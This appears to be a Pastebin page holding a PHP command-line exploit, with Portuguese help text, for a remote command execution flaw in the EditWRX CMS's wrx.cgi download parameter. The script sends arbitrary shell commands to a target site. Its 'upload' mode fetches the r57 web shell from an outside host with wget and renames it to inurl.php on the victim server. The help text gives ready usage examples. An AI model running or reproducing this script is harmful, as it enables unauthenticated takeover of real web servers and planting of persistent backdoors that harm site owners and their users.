Advertisement
Googleinurl

Exploit Editwrx PHP

Sep 27th, 2013
883
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2.  
  3. error_reporting(0);
  4. set_time_limit(0);
  5. ini_set('display_errors', 0);
  6. ini_set('max_execution_time', 0);
  7. ini_set('allow_url_fopen', 1);
  8.  
  9. function argumentos($argv, $campo) {
  10.     $_ARG = array();
  11.     foreach ($argv as $arg) {
  12.         if (ereg('--[a-zA-Z0-9]*=.*', $arg)) {
  13.             $str = split("=", $arg);
  14.             $arg = '';
  15.             $key = ereg_replace("--", '', $str[0]);
  16.             for ($i = 1; $i < count($str); $i++) {
  17.                 $arg .= $str[$i];
  18.             }
  19.             $_ARG[$key] = $arg;
  20.         } elseif (ereg('-[a-zA-Z0-9]', $arg)) {
  21.             $arg = ereg_replace("-", '', $arg);
  22.             $_ARG[$arg] = 'true';
  23.         }
  24.     }
  25.     return $_ARG[$campo];
  26. }
  27.  
  28. function validar($argv, $id, $campo) {
  29.  
  30.     if (isset($argv[$id]) && ereg('--[a-zA-Z0-9]*=.*', $argv[$id]) && !empty($argv[$id])) {
  31.  
  32.         $validacao = argumentos($argv, $campo);
  33.     }
  34.     return $validacao;
  35. }
  36.  
  37. function start($url_, $camando_) {
  38.  
  39.     system("command clear");
  40.     echo "Carregando..\n\n";
  41.  
  42.     $url_ = "{$url_}editwrx/wrx.cgi?download=;";
  43.  
  44.     $camando_ = (isset($camando_) && !empty($camando_)) ? $camando_ : NULL;
  45.     if (isset($camando_) && $camando_ == 'upload') {
  46.  
  47.         echo "UPANDO...\r\n";
  48.         $camando_ = formataComando('wget http://www.r57c99shell.net/shell/r57.txt|');
  49.         request($url_ . $camando_);
  50.  
  51.         echo "RENOMEANDO...\r\n";
  52.         $camando_ = formataComando('mv r57.txt inurl.php|');
  53.         request($url_ . $camando_);
  54.  
  55.         echo "LISTANDO ARQUIVOS...\r\n";
  56.         $camando_ = formataComando('ls -la|');
  57.         request($url_ . $camando_);
  58.     } else {
  59.  
  60.         request($url_ . ($camando_) . "|");
  61.     }
  62. }
  63.  
  64. function formataComando($comando) {
  65.     $comando = str_ireplace(' ', '%20', $comando);
  66.     return $comando;
  67. }
  68.  
  69. function request($exploit_) {
  70.  
  71.     $c = curl_init();
  72.     curl_setopt($c, CURLOPT_URL, "{$exploit_}");
  73.     curl_setopt($c, CURLOPT_HEADER, 1);
  74.     curl_setopt($c, CURLOPT_NOBODY, 0);
  75.     curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
  76.     curl_setopt($c, CURLOPT_SSL_VERIFYPEER, 0);
  77.     curl_setopt($c, CURLOPT_FRESH_CONNECT, 1);
  78.     curl_setopt($c, CURLOPT_VERBOSE, 1);
  79.  
  80.     $corpo = (curl_exec($c));
  81.     $server = curl_getinfo($c);
  82.     $sys = get_headers($exploit_);
  83.  
  84.     if (isset($corpo) && $server['http_code'] == 200) {
  85.         system("command clear");
  86.         echo"
  87. \033[01;31m------------------------------------------------------------------------------\n\033[0m
  88.                      -=[\033[01;31mBLOG.INURL.COM.BR\033[0m]=-\n
  89.                   -=[\033[01;31mEXPLOITADO COM SUCESSO\033[0m]=-\n
  90.                         -=[\033[01;31mRESULTADO\033[0m]=-\n
  91.  
  92. HTTP COD: \033[01;24m{$server['http_code']}\033[0m\r
  93. IP SERVIDOR: \033[01;24m{$server['primary_ip']}\033[0m\r
  94. PORTA SERVIDOR: \033[01;24m{$server['primary_port']}\033[0m\r
  95. SERVIDOR WEB: \033[01;24m{$sys['2']}\033[0m\r
  96.                 \033[01;34m{$corpo}\n\n\033[0m\n
  97. \033[01;31m------------------------------------------------------------------------------\033[0m\n
  98. ";
  99.     } else {
  100.         system("command clear");
  101.         echo"\033[01;31m
  102. ------------------------------------------------------------------------------\n
  103.                          -=[ERRO]=-\n
  104.                           {$corpo}\n
  105. ------------------------------------------------------------------------------\n\033[0m
  106. ";
  107.     }
  108. }
  109.  
  110. if (isset($argv[1]) && $argv[1] == "ajuda") {
  111.     system("command clear");
  112.     echo "
  113. \033[01;31m------------------------------------------------------------------------------\n\033[0m
  114.                             -=[\033[01;31mBLOG.INURL.COM.BR\033[0m]=-\r
  115.                           -=[\033[01;31mEXPLOITADO COM SUCESSO\033[0m]=-\r
  116.                                -=[\033[01;31mRESULTADO\033[0m]=-\n                
  117.                                -=[A J U D A]=-\n
  118. EditWRX é vulnerável a execução de código remoto através da falta de filtro function
  119. open() no downloader, que pode ler em comandos canalizados na GET download
  120. Apesar do downloader ser um componente administrativo,
  121. O login Não é necessário para executar  a função \n
  122.  
  123. \033[01;33mOPÇÃO      DESCRIÇÃO\033[0m\n
  124.  
  125. \033[01;31murl\033[0m     = ('DEFININDO URL ALVO')\r
  126. \033[01;31mcomando\033[0m = ('COMANDO A SER EXECUTADO NO ALVO')\r
  127. \033[01;31mcomando=upload\033[0m('UPLOAD DE SCRIPT R57')\r
  128. Exemplo de uso\n
  129. php exploit.php \033[01;31m--url=\033[0mhttp://vull.com/ \033[01;31m--comando=\033[0mls\r
  130. php exploit.php \033[01;31m--url=\033[0mhttp://vull.com/ \033[01;31m--comando=\033[0m'ls -la'\r
  131. php exploit.php \033[01;31m--url=\033[0mhttp://vull.com/ \033[01;31m--comando=\033[0m'uname -a'\r
  132. php exploit.php \033[01;31m--url=\033[0mhttp://vull.com/ \033[01;31m--comando=\033[0mupload\n
  133.  
  134. COMANDOS BÁSICOS LINUX:\r
  135. \033[01;35mhttp://wiki.ubuntu-br.org/ComandosBasicos\033[0m\r
  136. REFERẼNCIA EXPLOIT:\r
  137. \033[01;35mhttp://packetstormsecurity.com/files/109735/EditWRX-CMS-Remote-Code-Execution.html\r
  138. http://blog.inurl.com.br/2013/08/editwrx-cms-executar-codico-remotamente.html\033[0m\r
  139. \033[01;31m------------------------------------------------------------------------------\n\n\033[0m";
  140.     exit();
  141. }
  142. if (isset($_SERVER['argv'][1])) {
  143.     $alvo = validar($_SERVER['argv'], 1, 'url');
  144. } else {
  145.     print"Defina a url alvo.\r\n";
  146.     $alvo = '';
  147.     exit();
  148. }
  149.  
  150. if (isset($_SERVER['argv'][2])) {
  151.     $comando = (validar($_SERVER['argv'], 2, 'comando'));
  152.     $comando = formataComando($comando);
  153. } else {
  154.     system("command clear");
  155.     echo"
  156. \033[01;31m------------------------------------------------------------------------------\n\n
  157. Defina um parametro comando \r
  158. --comando='seu comando'  \r
  159. ex: --comando=ls \r
  160. Mais duvidas:\n
  161. \033[0mphp exploit.php ajuda\n\n\033[01;31m
  162. ------------------------------------------------------------------------------\033[0m\n\n";
  163.     exit();
  164. }
  165.  
  166. echo start($alvo, $comando);
  167. ?>
Advertisement
Advertisement
Advertisement
RAW Paste Data Copied
Advertisement